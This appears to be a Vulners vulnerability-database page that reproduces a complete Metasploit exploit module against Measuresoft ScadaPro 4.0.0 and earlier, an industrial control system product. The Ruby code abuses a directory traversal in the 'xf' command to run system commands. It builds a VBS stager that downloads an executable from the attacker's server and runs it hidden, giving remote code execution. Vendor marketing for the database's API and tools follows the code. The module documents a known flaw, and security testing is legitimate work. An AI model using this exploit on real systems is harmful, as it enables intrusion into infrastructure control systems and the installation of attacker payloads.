Lucene search
K

Measuresoft ScadaPro <= 4.0.0 - Remote Command Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Measuresoft ScadaPro 4.0.0 Remote Command Execution vulnerabilit

Code

                                                ##
# $Id: scadapro_cmdexe.rb 13737 2011-09-16 08:23:59Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Measuresoft ScadaPro &#60;= 4.0.0 Remote Command Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module allows remote attackers to execute arbitray commands on 
				the affected system by abusing via Directory Traversal attack when using the &#39;xf&#39;
				command (execute function). An attacker can execute system() from msvcrt.dll to
				upload a backdoor and gain remote code execution.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Luigi Auriemma&#39;,                           # Initial discovery/poc
					&#39;mr_me &#60;steventhomasseeley[at]gmail.com&#62;&#39;,  # msf
					&#39;TecR0c &#60;tecr0c[at]tecninja.net&#62;&#39;,          # msf
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 13737 $&#39;,
			&#39;References&#39;     =&#62;
				[
					#[ &#39;CVE&#39;, &#39;?&#39;],
					#[ &#39;OSVDB&#39;, &#39;?&#39;],
					[ &#39;BID&#39;, &#39;49613&#39;],
					[ &#39;URL&#39;, &#39;http://aluigi.altervista.org/adv/scadapro_1-adv.txt&#39;],
					[ &#39;URL&#39;, &#39;http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf&#39;],
					# seemed pretty accurate to us ;)
					[ &#39;URL&#39;, &#39;http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# truly universal
					[ &#39;Automatic&#39;, { } ],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Sep 16 2011&#39;))

			register_options(
			[
				Opt::RPORT(11234),
				OptString.new(&#39;URIPATH&#39;, [ true, &#34;The URI to use.&#34;, &#34;/&#34; ]),
			], self.class)
	end

	# couldn&#39;t generate a vbs or exe payload and then use the wF command
	# as there is a limit to the amount of data to write to disk.
	# so we just write out a vbs script like the old days.

	def build_vbs(url, stager_name)
		name_xmlhttp = rand_text_alpha(2)
		name_adodb   = rand_text_alpha(2)

		tmp = &#34;#{@temp_folder}/#{stager_name}&#34;

		vbs  = &#34;echo Set #{name_xmlhttp} = CreateObject(\&#34;Microsoft.XMLHTTP\&#34;) &#34;
		vbs &#60;&#60; &#34;: #{name_xmlhttp}.open \&#34;GET\&#34;,\&#34;http://#{url}\&#34;,False : #{name_xmlhttp}.send&#34;
		vbs &#60;&#60; &#34;: Set #{name_adodb} = CreateObject(\&#34;ADODB.Stream\&#34;) &#34;
		vbs &#60;&#60; &#34;: #{name_adodb}.Open : #{name_adodb}.Type=1 &#34;
		vbs &#60;&#60; &#34;: #{name_adodb}.Write #{name_xmlhttp}.responseBody &#34;
		vbs &#60;&#60; &#34;: #{name_adodb}.SaveToFile \&#34;#{@temp_folder}/#{@payload_name}.exe\&#34;,2 &#34;
		vbs &#60;&#60; &#34;: CreateObject(\&#34;WScript.Shell\&#34;).Run \&#34;#{@temp_folder}/#{@payload_name}.exe\&#34;,0 &#62;&#62; #{tmp}&#34;

		return vbs
	end

	def on_request_uri(cli, request)
		if request.uri =~ /\.exe/
			print_status(&#34;Sending 2nd stage payload to #{cli.peerhost}:#{cli.peerport}...&#34;)
			return if ((p=regenerate_payload(cli)) == nil)
			data = generate_payload_exe( {:code=&#62;p.encoded} )
			send_response(cli, data, {&#39;Content-Type&#39; =&#62; &#39;application/octet-stream&#39;} )
			return
		end
	end

	def exploit
		# In order to save binary data to the file system the payload is written to a .vbs
		# file and execute it from there.
		@payload_name = rand_text_alpha(4)
		@temp_folder  = &#34;C:/Windows/Temp&#34;

		if datastore[&#39;SRVHOST&#39;] == &#39;0.0.0.0&#39;
			lhost = Rex::Socket.source_address(&#39;50.50.50.50&#39;)
		else
			lhost = datastore[&#39;SRVHOST&#39;]
		end

		payload_src  = lhost
		payload_src &#60;&#60; &#34;:&#34; &#60;&#60; datastore[&#39;SRVPORT&#39;] &#60;&#60; datastore[&#39;URIPATH&#39;] &#60;&#60; @payload_name &#60;&#60; &#34;.exe&#34;

		stager_name = rand_text_alpha(6) + &#34;.vbs&#34;
		stager      = build_vbs(payload_src, stager_name)

		path = &#34;..\\..\\..\\..\\..\\windows\\system32&#34;

		createvbs = &#34;xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n&#34;
		download_execute = &#34;xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n&#34;

		print_status(&#34;Sending 1st stage payload...&#34;)

		connect
		sock.get_once()
		sock.put(createvbs)
		sock.get_once()
		sock.put(download_execute)
		handler()
		disconnect

		super
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation